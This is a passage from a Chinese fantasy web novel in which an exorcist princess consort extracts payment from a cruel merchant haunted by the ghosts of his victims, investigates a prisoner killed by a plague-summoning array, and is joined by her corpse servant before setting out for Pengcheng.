“这怎么能算下三滥呢?”左辞劝道,“人我都挑好了,就大米商梁鸿,这个人为富不仁,前些年,南旱北涝,粮食收成不好,他一边说粮食不好,打压收粮价格,一边囤货居奇,高价卖给百姓。那年可饿死不少人呢,有人施粥,他还派人去砸人施粥的摊子,咱们就当还富于民呗!” 钟栖默默地对着左辞比了比大拇指。 裴清歌的脚步停下来,“你说的是真的?” “我发誓!”左辞举起手。 第64章 一万两,一个子都不能少 裴清歌随手招了招,对着一旁的空气无声地说了几句话。 左辞茫然地看着她,问,“王妃,你在跟谁说话呢?” “荷香啊,她说她原来是这王府的丫鬟,被人害死了,反正现在投不了胎,我偶尔就让她帮我办点事。”裴清歌转头看着左辞,“我让她去梁家看看你说的是不是真的。” 左辞干笑了几声,“荷香……荷香姑娘……还在呢,怪不得前几天周婆子老说自己见鬼了,见到荷香跟着她。” “荷香说,就是周婆子把她害死的,但周婆子的寿元未到,荷香也不能报仇,我就让她吓唬吓唬周婆子先撒撒气。”裴清歌说着继续往前走。 左辞左右前后看了一圈,才低声问,“王妃,那有没有什么……跟着属下?属下在战场,可杀敌不少。” 裴清歌看了他一眼,煞有介事的说,“有,密密麻麻的跟着一大群呢。” 左辞都快吓哭了,“王妃,你说的是真的么?” “你这胆子是怎么上战场的?”裴清歌无语,“他们活着的时候你都不怕,死了你怕什么?” “那能一样么?”左辞丧着个脸,“就跟周婆子一样啊,荷香活着的时候她欺负人家,死了不是照样害怕么?” “你这么想,他们活着的时候,是被你杀了的,就算你现在害怕他们,他们找你报仇,那等你死了,你也变成鬼,不就不怕他们,再把他们杀一次不就好了?”裴清歌笑道。 左辞挠了挠头,“这么说,好像有点道理啊。” “行了,骗你的。”裴清歌挥了挥手,“你们这些上过战场的,杀气重,一般的邪祟近不了身。况且士兵大部分都是为国而死,死得其所,没什么怨气冤魂。” “那属下可就放心多了。”左辞松了一口气。 “不过,若是有人故意害你,破了你身上的杀气,那就另当别论了。”裴清歌说着顿了下,“就像九思院之前那影壁墙一样。” “人这一生,一命二运三风水,风水之物很重要。但风水也在人心,心善的人可用风水积德,歹心的人可用风水害人。” 裴清歌说着叹了口气。 “这好像很高深啊。”左辞听完感叹了一句,顿了半响才问,“王妃,你收徒么?” 裴清歌嫌弃地看了左辞一眼,“不收,我累了,要回去歇着了,等荷香回来,要是你说的是真的,咱们明天就干点替天行道的事。” 目送着裴清歌回梧桐院,钟栖才看向左辞,“那个梁鸿……确有其事?” “当然了!”左辞瞪着他,“我像是会撒谎的人么?他只会更过分!强抢民女,逼良为娼,就没有他不干的事,我早就看不惯他了,只不过……”顿了顿,他摸了摸鼻子低声道,“只不过他是衡王的人,王爷不让我去找他麻烦。” “那你就让王妃替你去出口气?”钟栖皱起眉头。 “你懂什么?我就想给衡王找点堵。”衡王本来就不是什么好人,陆绝跟着王爷这些年怎么可能会不知道?可转头还不是去投奔衡王了? 说不定早就跟衡王是一伙的! 左辞一脸的不忿,转身走了。 * 裴清歌一大早到了字画店门口的时候,那已经排了特别长的队。 昨天算了找簪子的那个大婶,甚至给她送了一筐鸡蛋,说那簪子找到了,又说虽然不是什么值钱的簪子,但毕竟是她相公送她的第一支簪子,失而复得,她开心得不得了。 裴清歌看着一眼望不到头的队,转头看了看钟栖,“这些就当是做善事,等梁鸿来了,宰他一笔。” 她这话音刚落下,就听到不远处吵吵嚷嚷的声音。 一个鼻孔朝天的人走在轿子前面,“让一让,让一让,别挡了我们老爷的路。” 不多时,那轿子就到了跟前,一个矮胖的男人下了轿子,被身边的人扶着,颤颤巍巍地走过来。 昨晚荷香回来之后,跟裴清歌痛骂了梁鸿两个时辰。 裴清歌都睡了一觉醒了,荷香还在骂。 远的不说,就这三五年,梁鸿纳了十几房小妾,大部分都是强抢来的,抢来了也不对人家好,不管他去哪个小妾房里过夜,那房里整晚都传出小妾凄惨的叫声。 有不堪他折磨自尽的,也有被他直接折磨致死的。 今年一年,梁府用草席裹出去的小妾就不低于六个。 这些姑娘被梁鸿抢来,家里基本上都是无权无势的,人死了,梁鸿就去给点钱,再恐吓一番,也没人敢追究。 于是昨天晚上裴清歌就来了把大的,把这些年枉死的梁府小妾的冤魂全都招出来了,一股脑的塞到了梁府。 昨天晚上,附身的附身,托梦的托梦,怨气足的就自己现身。 反正是闹腾了一宿,她以为这梁鸿会被抬来,或者直接请她去梁府呢。 梁鸿还能站着来,也是个狠人。 百姓显然也都听过梁鸿的恶名,这么明显的插队,也是敢怒不敢言。 裴清歌转头看向钟栖,“请这位客官去队尾排队。” “排你……”扶着梁鸿的人正要骂街,就被梁鸿制止,昨天黄家的事他也听说了,这谣传里虽然多少有夸大的成分,但那么多人亲眼所见,总不会有假。 “先生,我这确实有事关人命的急事,你看能不能行个方便?”梁鸿开口问道。 众人下巴都快掉在地上了,这梁鸿竟然也会说人话? 裴清歌微微皱了下眉,才说,“可以,但毕竟你之前有这么多人排队,你可以……买号。” “买号?”梁鸿一听,他别的不多,就是钱多,能用钱解决的事,都不叫事,“多少钱可以买号?” “钟栖,你去数一数,在这位客官之前有多少人排队,一个人算一两。等这位客官付了钱,你再把钱给排队的人发下去。”裴清歌吩咐道。 “好嘞。”钟栖点头照办。 梁鸿求人办事,又是人命关天的大事,也不敢多言,只得让随从去付钱。 裴清歌这才看着他道,“你印堂发黑,恶鬼缠身,不日就会有血光之灾。” 梁鸿一听,自己还什么对没说,这人就知道自己是有什么事,感觉自己一定是碰到了神仙,“是,是啊,先生救我啊。” “定金五千两,事成再付五千两。”裴清歌眼也不眨,“少一个子都不行。” 第65章 万事轮回,善恶同源 一万两?听到这个数目,梁鸿当场就惊呆了。 裴清歌也不介意,“客官要是觉得自己的命不值一万两,那就算了,请便。” “一万两就一万两。”梁鸿咬了咬牙,“但若是不成,可别怪我对你不客气。” 等钟栖给排队的人发完钱,裴清歌就带着他一起去了梁府。 先是收下了五千两银票,裴清歌在府里四处走走,偶尔朝角落扔几张会闪火花的符咒,又在门窗各处贴了不少符咒。 “这些女子心中怨气太深。”裴清歌说着拍了拍手,“首先,你得去找到她们的尸骨,好生安葬。” 梁鸿气息一滞,之前死的人,就是叫人随便草席一卷就扔到乱葬岗了,这去哪找?“万一……万一找不到呢?” “你找不到,她们自己能找到,我可以让她们带你去找。”裴清歌看着他。 “能能能!”梁鸿尖叫一声,“能找到,一定能找到,给我点时间。” 裴清歌收回目光,继续道,“她们虽然不是被你明媒正娶,但终究是进了梁府,你得把她们安葬在梁家的祖坟,烧纸上坟一样都不能少。” “你要给她们立牌位,亲自给她们每个人磕头赔罪,连续四十九天,一天都不能落下。” “这四十九天里,吃斋戒荤戒色,每日做善事,多施粥赠药。” “每日抄写一遍《地藏经》,在牌位前烧给她们。” 裴清歌说着抬手掐算了一番,“四十九天之后,业障消除,你就无事了,到时候记得把剩下的五千两送来。” 梁鸿擦了擦额头上的汗,“那我今晚还会……还会见到她们么?” 裴清歌笑着看他,“这四十九天里,你每天都会看见她们。” “不行啊,大师,活神仙!求求你,别再让我看见她们,让她们别再来了,你刚才说的我都会做,我真的都会做啊!”梁鸿一把抓住裴清歌的胳膊乞求道。 钟栖皱起眉头,这种脏人怎么能碰裴清歌?一把抓住他的手腕推开他的手,现在知道害怕了,害人的时候想什么呢? 裴清歌思索了一番,才小心翼翼地从袖口拿出一道符咒,“你把这道符贴身佩戴,千万小心,不能打湿,带着这符咒,若是一旦碰了荤腥破了色戒,这符咒就没用了。” 她说着顿了顿,也没把符咒递过去,“但这得另外加钱。” “多少钱?能给……多给我点么?”梁鸿问。 “就这一张,这是我师父留给我的护身符,不到万不得已,是不能用的,但……你家里这鬼,确实太凶。”裴清歌叹了口气,才把符咒递过去,“一千两吧。” “好,好。”梁鸿把符咒接过来。 “千万记得我刚才说过的话,万一哪件事做不到,可别怪我没提醒你。”裴清歌又重申了一遍。 从梁府出来,钟栖忍不住开口问,“王妃,这种人渣,你真的救他么?” “这些冤魂缠着他其实不是一天两天了,只不过他运势太旺,冤魂近不了身。”裴清歌说着掸了掸袖子上不存在的灰尘,“昨天晚上那么一闹,他的运势已经破了。” “但……”她说着拧了下眉,“每个人都有自己的运势宿命,好人有福报,坏人有恶报,都是早早晚晚的事。梁鸿本来还有三十年的命,现在相当于让那些冤魂提前报仇,他这三十年的命也就没有了。” 裴清歌叹了口气,“他若真能按照我说的,这四十九日里不破戒,多少能让冤魂散些怨气,那道符咒能保他一年,一年之后……” “这种恶人竟然还有三十年的命!”钟栖不忿。 “前世修来的福气。”裴清歌转头往梁府看了一眼,“别看他现在这样,前世可是个造桥修路、救了不少人命的好人。万事轮回,善恶同源。” “啊?”钟栖惊讶,“王妃,这你都能看出来?那属下呢?” 裴清歌瞥了他一眼,“这我怎么看得出来?这是荷香昨晚跟我说的,她说那些冤魂索不了命,都去阴司那告状,阴司查了梁鸿的事,才得知他前世是个大善人。” 钟栖也跟着有点唏嘘。 回到字画店,裴清歌把刚赚的热乎的六千两给了字画店老板,二人立了字据,过了地契,字画店老板开开心心的拿着钱就准备走。 裴清歌犹豫了下,还是说,“你命里没有这么大财,回去之后,积德行善吧。” 这老板本来觉得裴清歌是在咒他,但想了想这两天发生的事,又压下了这个念头,点了点头,迈步走了。 裴清歌看着他的背影,他若是真能积德行善,这钱也许能留下来。 不过……大概率是要破财消灾了。 这边的事忙完,裴清歌又回到门口的小摊子坐下,开始一天忙碌的算卦。 第二天她就让钟栖找人,按照她给的图纸,对店面开始了改建。 店里面修葺,也不影响她在门口做生意。 既然要做生意,那每天都得进点钱,没有进账就是赔钱。 况且裴清歌看上这里,还有一个更重要的原因,整个盛京城内,这里是温养锁魂玉笛最好的地方了。 第六天的时候,京兆府突然来了人。 那人一脸慌慌张张,说请裴清歌去京兆府一趟。 裴清歌微皱起眉头,想起那天那男子最后瞪着自己的目光,莫不是他们出了什么事?她也不敢耽搁,跟钟栖交代了一声,就赶紧去了京兆府。 黄维贤已经在了,脸色难看。 沈致远更是惨白着一张脸,声音都有些发抖,“这位……大师。”他也不知道该怎么称呼裴清歌,“这事恐怕还得你来看看。” “怎么了?”裴清歌看了看他,最后看向黄维贤。 黄维贤张了张嘴,最后只是说,“不如先去大牢里看看吧。” 京兆府的大牢很大,有一大半的牢房都已经住满了。 裴清歌跟着他们走在这阴冷潮湿、味道刺鼻的大牢里,隐隐地闻到了一股不同寻常的血腥味。 快要见底的时候,走在最前面的沈致远才停了下来,然后突然捂着嘴跑到一边去吐了。 黄维贤转头看向裴清歌,示意她上前去看。 裴清歌这才走了几步,看清了前面牢房里的景象。 第66章 活着是孤家寡人,死了是孤魂野鬼 牢房里没有人—— 确切的说,没有完整的人。 墙上、棚顶、栅栏上、地上全是血迹和碎肉。 像是有一个人爆炸了,把自己炸得粉碎,迸溅得到处都是。 裴清歌拧了拧眉,“这牢房里原来关的是谁?” 沈致远已经吐得差不多了,这会抚着胸口走回来,但目光根本不敢往牢房里看,“就是那个孩子的爹,自堂审那日之后把他关在了这里,他每日照常吃饭、睡觉,偶尔在墙上地面写写画画,也没什么异常,一直到今天,牢头刚送完饭,一转身,他整个人就……” “那牢头吓得当场晕死过去,到现在还没醒过来。” “本来这周边的几个牢房也有其他的犯人,现在也都关到别的牢房去了。” “那孩子的娘呢?”裴清歌问。 “那女子每天都哭哭闹闹,大喊大叫,已经疯了。吵了两日,关到单独的地下牢室去了。”沈致远回道。 牢室昏暗,裴清歌从墙上拿下一盏油灯,又往前走了几步,从血肉之间仔细地辨别了下墙上写写画画的东西。 蓦地,她瞳孔微缩。 这是一个召唤瘟疫的法阵! 不知道这男子如何知道这法阵,但是肉体凡胎,根本承受不了这法阵的威力,所以法阵没成,自己反倒受反噬而死! 若是这法阵成了,盛京城内,便不知道要死多少人了! “快,带我去见那个女子!”裴清歌转身道。 沈致远早就不想在这呆了,听裴清歌这么说,就赶紧带着她往地牢走。 地牢里更加阴暗潮湿,离着老远,就能听见那女人有气无力的哭喊声,“轩轩,我的轩轩,娘马上就来陪你了,咱们永远都不分开!你们这些恶人,为什么要这么害我们?你们都不得好死!不得好死!” 怕她再寻短见,所以现在她是被绑在一根柱子上的。 裴清歌几步冲到她面前,“我问你,你们说的,那个在彭城的人,到底还教了你们什么?” 看着裴清歌有些气急的模样,那女子的眼里突然有了些神采,“哈哈哈,勇哥成功了是不是?我就知道,勇哥一定可以的,一定可以杀了你们所有人!” 裴清歌眯了眯眼,顿了会才说,“就让我们死个明白吧。” 女子狂笑了半响,笑得都快喘不上气了,这笑声在地牢里不断地回荡,听得沈致远和黄维贤心里都发颤。 实在笑不出了,那女子才开了口,“轩轩,轩轩那么乖的孩子,他从来都不去水边玩,怎么就会掉进水里淹死?” “我知道,就是他们,是他们骗轩轩去了河边,七个孩子,都回家了,只有我的轩轩,再也回不来了。” “恩人说,他能救轩轩回来。他救轩轩的时候,我和勇哥在他的住处看到了一张图,按照那张图,就能召唤出无数疫鬼,勇哥记下了那张图,我们要给轩轩报仇。” “只不过,等轩轩活过来之后,我们发现根本不需要我们来报仇,轩轩……轩轩自己就可以,哈哈哈,那些害了轩轩的,一个都别想跑掉!” “还有你们!你们也一样,勇哥召唤出的疫鬼,能把你们全都带走!” 裴清歌后退了一步,“只可惜,你的勇哥不只没有召唤出疫鬼,就连他自己的魂魄都被疫鬼撕咬吞食得一干二净!” “孩子死了,对你们来说确实是锥心之痛,但如今,你们连魂魄相聚的可能都没有了。” “只剩下你一个人,活着是孤家寡人,死了是孤魂野鬼。” “你说什么?”那女子嘶吼一声,“不,不可能!不可能!恩人术法高强,他的图怎么会有错呢?不会的!” 裴清歌没有解释太多,转身往地牢外面走,向沈致远低声道,“赶紧叫人把那牢室打扫干净,墙上地上的图全都擦掉,我会去彭城一趟,看看到底是什么人帮他们这么做的。” 黄维贤思索了下才说,“沈大人,你是不是也派些人,跟这位先生一起去?” 沈致远怔了一下,嘴唇哆嗦,“彭……彭城,那也不归我管啊,要不我给彭城县令写封信?” 黄维贤脸色一冷,“这案件是你京兆府的案件,如今要追查,当然要你出人,难道你要一个外人孤身前往么?” 裴清歌知道黄维贤是为了自己的安全着想,“黄丞相,这件事普通人去得再多也没用,反倒会有危险。” “是啊是啊。”沈致远赶紧符合,看了看黄维贤的脸色,才又道,“不……不如,就当是京兆府请这位先生去,钱财方面都好说。” 黄维贤哼了一声,隔了会才说,“听说你们京兆府油水大得很,那你就看着办吧。” 裴清歌忍了忍嘴角的笑,正色道,“我要回去准备些东西,三日内启程,也不知道那人是不是还在彭城,事情解决或是没找到人,都会尽快给你们消息。” 说完她就告了辞,赶紧往回去。 本来是想着等店面都修葺好,没那么多人排队的时候,她再抽空去趟彭城,但这事情又出了这么个尾巴,这彭城之行,就得提上日程了。 若是解决的顺利,还可以顺路再去洪都。 左辞没办法跟她离京太长时间,所以她只打算带上钟栖。 看着她收拾东西,裴夫人有些担忧。 这些天,裴清歌在外面忙,只说是自己要做点生意,她也没有过问太多,如今又要出远门,她是怎么都放心不下。 “娘,你放心,最多半个月,我就回来了。”裴清歌转头看了看裴夫人道。 “你还没有一个人出过这么远的门。”裴夫人叹了口气。 “不是一个人,我还会带上钟栖一起,他武功很好,能保护我,你放心吧。”裴清歌安慰道。 这么一说,裴夫人更加担心了,就算钟栖是下属,也毕竟是个男子,这一去一回这么久,就他们两个人,说不定要遭什么闲话,“要不带上桑榆一起吧。” 裴清歌放下手里的东西,“这么远,桑榆一个小丫头,奔波一趟吃不消的。” 不过她其实考虑过要带上张太妃,毕竟对方不是普通人,钟栖就算是武功高,用处也不大。 可自从上次张太妃被血莲攻击之后,就一直萎靡不振的。 裴清歌暗暗地叹了口气,“娘,你放心,我就是出去谈一笔生意,不会有危险的。” 裴夫人知道也阻止不了她,隔了会才说,“也好,我正好趁这机会去提和离,你不在京里,你爹也不能来闹你。” 这下倒是换裴清歌担心了,“要不等我回来?” “你办你的事,我办我的事,咱们一起把事情都办好。”裴夫人拍了拍她的手,“不是还有阿止在京中么?” 裴清歌还要说什么,就见左辞气喘吁吁地跑了进来,“王……王妃,王爷叫你去前堂,有人给你送东西来了,那人看着不太会说话,快跟王爷打起来了!” 第67章 又来了一个“表哥” 裴清歌皱起眉,快步跟左辞往前堂走,“给我送东西?是谁?” 左辞倒了口气,“跟着何知一起从月城回来的……” “何知是谁?”裴清歌眯了下眼,“为什么去月城?” 左辞脸色一僵,才意识到自己说漏了嘴,尴尬了半响,才解释道,“何知是王爷的暗卫,被王爷派去暗中跟着睢园那位,但王爷不是为了跟踪他,只是为了确保他能安全抵达月城。” “何知本来也一直没有现身,到了月城要回来复命的时候,却被睢园的那位拦住,原来他早就知道有人跟着他。” 听到这裴清歌也不诧异,要是楚星玄连这个都不知道,那他也不用回北冥国了。 “他跟何知说,让何知在月城等着,你托他带一些救治张太妃的药,他回去之后,会把药材送出来给何知。” “但来送药的那个人,不肯把药给何知,非要亲自交给你,何知只能把他带回来了。” 裴清歌也没多心,毕竟她给楚星玄列出来的药材单子上,很多都是很珍贵的药材,就这么把北冥国的东西交给何知,楚星玄大概也是不放心的。 但是进了前堂的院子,裴清歌蓦地感受到一股熟悉的气息,她呼吸滞了一瞬,也没再管左辞,迅速的往前堂跑。 她本来为了不让王府里的人起疑,在王府里走路也都还是一瘸一拐的装作自己的腿还没好。 但这会也顾不上那么多了。 “王妃,等等属下啊。”左辞赶紧追上。 堂上的人,对气息更加敏感,迅速的转过身,看着进了门的人。 身形和面容虽然陌生,但是灵魂气息总是没错的! 裴清歌的脸上满是喜意,“鬼卿!”她迈进大堂,冲到他身边,抬手狠狠地抱住了他。 她知道,楚星玄只要回去,就差不多能猜出她的身份,就算是送药,说不定也要拖她一拖,反正北冥国的人出来一趟本来也不容易。 她完全没想到,楚星玄会去找鬼卿! 没有她的命令,鬼卿从不出圣殿,楚星玄身为暗城少主,往圣殿跑一趟,也是头铁了。 “咳咳。”左辞站在门口,咳了两声,王爷还在这,王妃抱着别的男人算什么? 眼见着王爷的脸已经更黑了,他赶紧出声提醒。 裴清歌根本不在意左辞的暗示,她抬头看着鬼卿,“我真是没想到……”顿了顿,她停了下来,“我有好多事要问你,走。”说完就拉着鬼卿的手要走。 “王妃,本王……还没死呢。”忍了又忍的白锦夜,终于还是没忍住,冷着脸出了声。 鬼卿转身挡在裴清歌的面前,看着白锦夜,脸上全是敌意。 “他是我……”裴清歌顿了顿,“表哥,远房表哥。我们有点家里的事,要私下聊,王爷请便。” 说完,裴清歌拉着鬼卿往外走。 左辞后退了一步让开路,垂眼看着地面,表哥?王妃这随随便便认表哥的本事可真厉害啊。 看着两个人走远,白锦夜的目光才落在左辞的身上,“你不也是表哥?家里的事,你不去听听?” 左辞干笑了几声,不是吧?这也能把气撒在他身上?“王爷知道,属下那表哥是假的。不过……看样子,这个‘表哥’大概是真的了。”他绞尽脑汁地想要转移王爷的怒气,“王爷,何知可说,这人是从北冥国来的,王妃跟北冥国关系好像还不错?” 他也不想出卖裴清歌,但他想好好活着。 这会只能拿裴清歌当挡箭牌了,回头他会好好赔罪的。 白锦夜微微眯了眯眼,“这种事,不就得交给你这个‘表哥’去找原因了么?” “是,属下这就去梧桐院。”左辞说完,见白锦夜没阻止,就慢慢地往梧桐院走。 人家那边都说了有话要私下说,他也不能这么没脸没皮的凑上去,还是等人家快聊完了再去好了。 裴夫人看着裴清歌拉着一个年轻的男子进了房,正要上前去问,就听房门落了锁,她犹豫了下,脚步只好停了下来。 裴清歌一路回来,也依旧掩盖不住心中的惊喜,“鬼卿,你能来真是太好了!” 鬼卿看着她,吐字干涩,“你…怎么了?” 裴清歌隔着面纱摸了摸自己的脸,“这件事,说来话长。这段时间,圣殿都还好么?” 鬼卿摇了摇头。 “我也知道……”裴清歌说着抬手抚上鬼卿的眉心。 鬼卿是她炼制的冥尸,前后一共耗费了三年多的时间,是如今这世上,唯一一个炼制成功的冥尸。 为了唤醒他的神智,她在他的身体里打了一丝自己的魂魄印迹。 所以即便是换了身体,鬼卿依旧能感知到她。 鬼卿在和人交谈这件事上,还是欠缺不少,大多时候他不怎么说话,要说也是简单的句子或是词语。 想快点知道圣殿现在的情况,裴清歌也只好自己去读他的记忆。 她失踪之后,国君大怒,责令所有人不惜一切代价寻找她,暗城的人也蠢蠢欲动。 楚星玄前些日子摸上圣殿,把她写的药材单子转交给她原来的侍女冷鸢。 自她失踪之后,圣殿的事务都是由冷鸢来处理,冷鸢走不开,只能让鬼卿来送药。 冷鸢交代鬼卿一定要把药交到她手上。 又说圣殿的事不用担心,如果她这边有麻烦,就让鬼卿留下来。 裴清歌收回手,轻轻叹了口气,从前她觉得自己年纪还不大,也没急着收徒,偌大的圣殿里,只有她和冷鸢,加上鬼卿……只能算两个半人。 剩下的,都是些被控制的肉尸。 如今就剩冷鸢自己,怕是更冷清了。 鬼卿见裴清歌已经了解了事情的始末,便拿出了一个虚空玉递给她。 裴清歌知道,这里就是她需要的药材了,“你出来了,就先不要回去了。”刚刚她还觉得没帮手,鬼卿这就来了,这下无论是去彭城还是去洪都,她都信心满满了。 鬼卿的武功比她巅峰时期的还要高,而且他身为冥尸,几乎可以无视绝大部分术法的攻击。 鬼卿点点头,隔了会才问,“他…也是…你…的…冥尸…么?” 第68章 他是自愿的么? 裴清歌沉默了一下,鬼卿对同类的气息自然敏感,顿了顿,她才解释,“不是,只是为了让他能暂时活下来。” 鬼卿看着裴清歌,眼里闪过一抹不解。 但向来无论裴清歌做什么事,他都无条件的支持,也不会质疑她的任何决定。 “我大概有了师父的行踪,我们暂时不回去,我需要恢复功力,也要找到师父。”裴清歌看着鬼卿解释道,“在天风国和在北冥国不一样,有白锦夜王爷的身份在,我们做事会方便许多。” 听了裴清歌的话,鬼卿脸上有些激动,“师父?” 裴清歌点点头。 鬼卿年幼时被师父收养,她和鬼卿、冷鸢一起长大,若不是迫不得已,她也不会把鬼卿炼制成冥尸。 自师父失踪之后,毫无消息,鬼卿心里自然也是一样的着急。 正说着,院子里传来左辞和裴夫人交谈的声音。 裴清歌也就带着鬼卿出了门。 左辞跟着她走到一边,脸上讪讪,“王妃,你也知道,王府后院可不能让外男进入……就算是表哥也不行啊。” 裴清歌想着她要去彭城和洪都,再加上鬼卿的事,也总得跟白锦夜说一声,“那你叫你家王爷有时间过来一趟吧,黄丞相家的事,我需要去一趟彭城。去之前,我会把张太妃的药调配好。” “张太妃马上就能治好了?”左辞面露喜色,如果张太妃能治好,那就意味着将来就算王爷病发,也和张太妃一样可以被治好。 裴清歌点点头。 左辞这会也顾不上什么表哥什么外男了,赶紧回去跟白锦夜说。 白锦夜也很快就到了,到的时候,裴清歌正靠在躺椅上看书,鬼卿在配药。 有鬼卿在,裴清歌确实很多事情都不要自己动手做了,指挥他做事情,甚至都不需要说话,一个念头就足够了。 白锦夜看向鬼卿的时候,他也恰好抬头看他。 二人的目光对视片刻,随即鬼卿便低头专心做自己的事情了。 裴清歌把书扣在桌面上,大概是冷鸢怕她无聊,不仅拿了她需要的药材,又多备了不少药材以外,还把她之前看到一些书也都让鬼卿带过来了。 鬼卿能配药,她正好可以继续看这些书。 黄维贤家的事情白锦夜听说了,今天京兆府那边又出了事,对于去彭城的事情他也就没有多言,“让左辞带些人跟你一起去吧。” 裴清歌对他这个决定微微有些诧异,但很快拒绝,“对方既然不是普通人,带多少人去都没有用,我带钟栖和鬼卿去就行了。” “鬼卿?”白锦夜微微挑了下眉。 裴清歌往鬼卿的方向看了一眼,顿了顿才说,“他是我炼制的第一个冥尸。” 其实见到鬼卿的时候,白锦夜也微微有些异样的感觉,只是并不清楚到底是因为什么,他皱了下眉,隔了会才问,“如果本王也成了冥尸,就是这样子?” 裴清歌从鬼卿的身上收回目光,眼底闪过一抹遗憾,“要比他好一些吧,那时候我也是在尝试,中间出了一些差错,能成功就已经是万幸了,他如果不说话,看起来倒是和常人无异。” “他是自愿的?”白锦夜又问。 裴清歌摇了摇头,“我不知道他是不是自愿的,当时他性命垂危,可我不想让他死。” 白锦夜垂下眸,不知道在想什么,等他再抬眼的时候,也没再继续这个话题,只是重复了一遍,“如果不想带太多人,就只带上左辞。” 裴清歌觉得,白锦夜大概率还是不相信自己,所以才要带一个他的人,她也就没再纠结这点小事,“一会鬼卿就会配置好张太妃的药,张太妃吃了后,会陷入昏睡,具体昏睡多久,我也不清楚,短则三天,长则半年。” “怎么照顾她,我会告诉张嬷嬷,但是你得派人保护好她。” 顿了顿,她才说,“上次给你药的那个人,不知道还会不会对张太妃做什么。” 白锦夜微微皱了下眉头,隔了会才问,“只要喝了那个水,就会被人控制么?” 裴清歌不太明白他的意思。 “正常来说,外人给的东西,本王也不会轻易给母妃吃下。”白锦夜顿了顿,“但是对那日事情,本王事后也有些想不通的地方。” “嗯。”裴清歌应了一声,“但只会是短暂的控制,没办法持续很长时间。” “也就是说,在本王喝了那水开始,至今三年,只要有办法的人,都可以短暂的控制本王,让本王做他们想要看到的事情?”白锦夜又问。 “可以这么说,不过……原则上应该没有很多人知道这件事。”裴清歌想了下,目前能确定的,应该就是和月如、陆绝和裴玲珑。 而且裴玲珑显然也不清楚具体的原因,应该是被人告知。 白锦夜没再说话。 裴清歌也就继续说,“如果彭城的事情解决完,我要去一趟洪都。” 白锦夜微微皱起眉头,“去洪都做什么?” “有点私事要办。”裴清歌自然不能跟白锦夜说实话。 白锦夜的心头闪过一抹不悦,“怎么,会情郎么?” 裴清歌轻笑一声,言笑晏晏地看他,“王爷,洞房那日,你不知我是不是完璧之身么?” 虽然那天她还没来,但是原主的记忆里,这些事可都是有的。 白锦夜脸色窘迫,“本王中了药……”但又想起那日他离开的时候,隐约记得床铺上是有血迹的,他轻咳了一声,正打算说点什么的时候,鬼卿就走了过来。 他拿着一包药粉递给裴清歌。 裴清歌抬手接了过来,让桑榆把药粉用水冲调开,端起来往张太妃的房间走。 白锦夜也站起来跟过去,脸上眼底尽是紧张。 张太妃如今状态萎靡,喂什么吃什么,一碗药很快就喂了进去。 吃完药,不到一炷香,就合上眼睛开始睡觉了。 张嬷嬷也紧张地看着她,“太妃……太妃已经很久没有睡觉了。” “每日三餐你正常喂她,但是不能再见生血生肉了。”裴清歌交代,“一定看好她,不能让外人接近,如果再给她吃生血生肉,今天这药就白吃了。” “好,好。”张嬷嬷赶紧答应,又问,“等太妃醒了,就能恢复了么?” 裴清歌点点头。 “老天有眼。”张嬷嬷泪眼婆娑,连念了几句佛偈。 左辞低声嘀咕,“不如多谢谢王妃。” 从张太妃的房里出来,裴清歌犹豫了一下,还是看向白锦夜,“我不在的这段时间,要劳烦王爷照顾我娘了。” 白锦夜点点头。 顿了会,裴清歌拿出一个小药瓶递给他,“如果你感觉到异常,尤其是子时以后,就吃了这颗药,再让人去通知我。” “什么异常?”白锦夜接过药瓶问。 “不好说,你往后的日子,多灾多难,我也不清楚会不会有人对你做什么。总之……异常发生的时候,你肯定会有感觉。”裴清歌说着看向他,“我明早就启程,你自己多小心吧。” 鬼卿看了裴清歌一眼,又看了看白锦夜,垂下眼,掩去眼底闪过的疑问,裴清歌明明知道会发生什么,为什么不告诉白锦夜呢? 第69章 再不走,喊救命的就是你了 第二日一早,裴清歌就带着鬼卿、左辞和钟栖出了门。 马车太慢,她又是男装打扮,就直接骑了马。 路上赶了三天,第三天傍晚才到彭城。 裴清歌选了当地最大的客栈,吃饭的时候,顺便向小二打听,“小二哥,这流霞山上有什么好玩的地方么?” “流霞山?”小二一听这个名字就脸色一变,四下看了看,才弯着腰低声道,“几位是外地来的吧?” 裴清歌点点头,“是,我们兄弟几人游历山川,今日刚到彭城,听说城外有个流霞山,这山听名字倒像是有些好景色,就打算过去看看。” “哟,我劝你们,可千万别去流霞山。”小二说着连声音都变得神秘起来,“那山上闹鬼。” “闹鬼?”裴清歌笑了笑,“你可别吓唬我们了,哪有什么鬼?” “客官,我可不是骗你,你出门问问咱们这彭城人,哪个不知道彭城闹鬼的?”小二这句话说的底气极足。 左辞掏出了一块碎银,递给小二,又把长条椅让出了些地方,“来,给我们讲讲。” 小二收起碎银,开心地坐下,“问我你们可就是问对人了,我在这客栈干了很多年,这闹鬼的事听了不少。” “就说那件吧,有年冬天,寒风咆哮,大雪纷飞,那雪那个大啊……” “直接讲重点。”钟栖打断他。 小二呷呷嘴,白了钟栖一眼,可毕竟收了银子,只能听话,“彭城兵马司的副指挥使,正在城外兵营,突然就来了个人,说指挥使有急事叫他回城,让他即刻回城,不得耽搁。” “那人传完信,自己就先走了,副指挥使骑上马,就在后面追他。” “他远远地就看着那人直奔流霞山,从城外军营回城,流霞山就是最近的路,他想着定是有急事,况且又有人一起走,也就没那么怕了,于是就一起进了流霞山。” “上山的时候还没事,可到了山顶,他往山下看的时候,白雪皑皑,一个人影都没有了。” “后来这副指挥使说啊,当时急着回城,根本没想那么多,事后仔细想想,那山上那么大雪,他一路走来,一个马蹄印都没见到,那么邪乎的事,他当时愣是没发现。” “他下山下到半山腰的时候,刚好有一棵歪脖子树,离着老远,他就见到有个人准备上吊,靠近的时候,还见到那人在蹬腿。” “救人一命胜造七级浮屠,他哪能见死不救呢?赶紧跑到树下,手都要搭上那人的腰了,他才突然发现这地上除了他的脚印以外,雪上平平坦坦,一个印儿都没有。” “这人一路走来上吊,搭绳子,怎么可能什么脚印都没有呢?” “他当时就吓出了一身冷汗,人也不救了,翻身上马直奔山下。” “等回了城,指挥使却说从来没叫人去找过他,按照他的回忆,画出了报信的人脸,你们猜怎么着?” “问了好多人,才有一个上了年纪的人,说那人是上任指挥使身边的侍卫,上任指挥使和他的侍卫早就战死了!” “真的假的?”左辞持怀疑态度,“擅离军营可是重罪,不会是那副指挥使擅自离开军营,编了个故事给自己脱罪吧?” 